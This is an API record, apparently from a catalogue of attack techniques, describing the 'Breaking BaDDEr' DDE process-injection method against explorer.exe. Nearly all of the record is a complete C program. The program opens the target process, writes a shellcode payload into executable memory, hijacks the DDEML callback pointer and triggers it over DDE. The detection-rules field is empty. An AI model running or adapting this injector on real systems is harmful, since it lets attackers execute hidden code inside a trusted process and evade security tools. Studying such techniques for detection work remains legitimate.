GET /api/techniques/162/
Content-Type: application/json
Vary: Accept

    "name": "Breaking BaDDEr",
    "category": [
    "description": "Dynamic Data Exchange (DDE) is a data sharing protocol while the Dynamic Data Exchange Management Library (DDEML) facilitates sharing of data among applications over the DDE protocol. DDE made the headlines in October 2017 after a vulnerability was discovered in Microsoft Office that could be exploited to execute code. Since then, it’s been disabled by default and is therefore not considered a critical component. \r\n\r\nThe scope of this injection method is limited to explorer.exe.",
    "resources": "",
    "tags": "process injection, badder, dde",
    "snippets": [
            "language": "",
            "author": "",
            "technique": "",
            "description": "",
            "plain_code": "#include \"../ntlib/util.h\"\r\n\r\ntypedef struct tagLINK_COUNT *PLINK_COUNT;\r\ntypedef ATOM LATOM;\r\n\r\ntypedef struct tagSERVER_LOOKUP {\r\n    LATOM           laService;\r\n    LATOM           laTopic;\r\n    HWND            hwndServer;\r\n} SERVER_LOOKUP, *PSERVER_LOOKUP;\r\n\r\ntypedef struct tagCL_INSTANCE_INFO {\r\n    struct tagCL_INSTANCE_INFO *next;\r\n    HANDLE                      hInstServer;\r\n    HANDLE                      hInstClient;\r\n    DWORD                       MonitorFlags;\r\n    HWND                        hwndMother;\r\n    HWND                        hwndEvent;\r\n    HWND                        hwndTimeout;\r\n    DWORD                       afCmd;\r\n    PFNCALLBACK                 pfnCallback;\r\n    DWORD                       LastError;\r\n    DWORD                       tid;\r\n    LATOM                      *plaNameService;\r\n    WORD                        cNameServiceAlloc;\r\n    PSERVER_LOOKUP              aServerLookup;\r\n    short                       cServerLookupAlloc;\r\n    WORD                        ConvStartupState;\r\n    WORD                        flags;              // IIF_ flags\r\n    short                       cInDDEMLCallback;\r\n    PLINK_COUNT                 pLinkCount;\r\n} CL_INSTANCE_INFO, *PCL_INSTANCE_INFO;\r\n\r\n#define GWLP_INSTANCE_INFO 0 // PCL_INSTANCE_INFO\r\n\r\nVOID dde_inject(LPVOID payload, DWORD payloadSize) {\r\n    HWND             hw;\r\n    SIZE_T           rd, wr;\r\n    LPVOID           ptr, cs;\r\n    HANDLE           hp;\r\n    CL_INSTANCE_INFO pcii;\r\n    CONVCONTEXT      cc;\r\n    HCONVLIST        cl;\r\n    DWORD            pid, idInst = 0;\r\n    \r\n    // 1. find a DDEML window and read the address \r\n    //    of CL_INSTANCE_INFO\r\n    hw = FindWindowEx(NULL, NULL, L\"DDEMLMom\", NULL);\r\n    if(hw == NULL) return;\r\n    ptr = (LPVOID)GetWindowLongPtr(hw, GWLP_INSTANCE_INFO);\r\n    if(ptr == NULL) return;\r\n      \r\n    // 2. open the process and read CL_INSTANCE_INFO\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    if(hp == NULL) return;\r\n    ReadProcessMemory(hp, ptr, &pcii, sizeof(pcii), &rd);\r\n    \r\n    // 3. allocate RWX memory and write payload there.\r\n    //    update callback\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    WriteProcessMemory(\r\n      hp, (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &cs, sizeof(ULONG_PTR), &wr);\r\n            \r\n    // 4. trigger execution via DDE protocol\r\n    DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0);\r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    DdeDisconnectList(cl);\r\n    DdeUninitialize(idInst);\r\n    \r\n    // 5. restore original pointer and cleanup\r\n    WriteProcessMemory(\r\n      hp, \r\n      (PBYTE)ptr + offsetof(CL_INSTANCE_INFO, pfnCallback), \r\n      &pcii.pfnCallback, sizeof(ULONG_PTR), &wr);\r\n          \r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}\r\n\r\nVOID dde_list(VOID) {\r\n    CONVCONTEXT cc;\r\n    HCONVLIST   cl;\r\n    DWORD       idInst = 0;\r\n    HCONV       c = NULL;\r\n    CONVINFO    ci;\r\n    WCHAR       server[MAX_PATH];\r\n    \r\n    if(DMLERR_NO_ERROR != DdeInitialize(&idInst, NULL, APPCLASS_STANDARD, 0)) {\r\n      printf(\"unable to initialize : %i.\\n\", GetLastError());\r\n      return;\r\n    }\r\n    \r\n    ZeroMemory(&cc, sizeof(cc));\r\n    cc.cb = sizeof(cc);\r\n    cl = DdeConnectList(idInst, 0, 0, 0, &cc);\r\n    \r\n    if(cl != NULL) {\r\n      for(;;) {\r\n        c = DdeQueryNextServer(cl, c);\r\n        if(c == NULL) break;\r\n        ci.cb = sizeof(ci);\r\n        DdeQueryConvInfo(c, QID_SYNC, &ci);\r\n        DdeQueryString(idInst, ci.hszSvcPartner, server, MAX_PATH, CP_WINUNICODE);\r\n        \r\n        printf(\"Service : %-10ws Process : %ws\\n\", \r\n          server, wnd2proc(ci.hwndPartner));\r\n      }\r\n      DdeDisconnectList(cl);\r\n    } else {\r\n      printf(\"DdeConnectList : %x\\n\", DdeGetLastError(idInst));\r\n    }\r\n    DdeUninitialize(idInst);\r\n}\r\n\r\nint main(void) {\r\n    LPVOID  pic;\r\n    DWORD   len;\r\n    int     argc;\r\n    wchar_t **argv;\r\n    \r\n    argv = CommandLineToArgvW(GetCommandLineW(), &argc);\r\n    \r\n    if(argc != 2) {\r\n      dde_list();\r\n      printf(\"\\n\\nusage: dde_inject <payload>.\\n\");\r\n      return 0;\r\n    }\r\n\r\n    len=readpic(argv[1], &pic);\r\n    if (len==0) { printf(\"\\ninvalid payload\\n\"); return 0;}\r\n    \r\n    dde_inject(pic, len);\r\n    \r\n    return 0;\r\n}"
    "detection_rules": []